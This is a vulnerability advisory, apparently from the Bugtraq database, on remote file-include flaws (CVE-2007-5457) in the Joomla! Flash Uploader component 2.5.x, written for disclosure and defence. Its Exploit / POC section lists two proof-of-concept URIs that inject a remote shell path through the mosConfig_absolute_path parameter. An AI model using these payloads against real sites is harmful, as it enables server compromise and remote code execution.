Joomla! Flash Uploader mosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

BID:26044

Info

Joomla! Flash Uploader mosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Bugtraq ID: 26044
Class: Input Validation Error
CVE: CVE-2007-5457
Remote: Yes
Local: No
Published: Oct 11 2007 12:00AM
Updated: May 07 2015 05:34PM
Credit: Mdx is credited with the discovery of these vulnerabilities.
Vulnerable: Michael Dempfle com_jfu 2.5.2
Michael Dempfle com_jfu 2.5.1
Not Vulnerable:

Discussion

Joomla! Flash Uploader mosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

The Joomla! Flash Uploader component is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Exploit / POC

Joomla! Flash Uploader mosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell?
http://www.example.com/administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell?

Solution / Fix

Joomla! Flash Uploader mosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Joomla! Flash Uploader mosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

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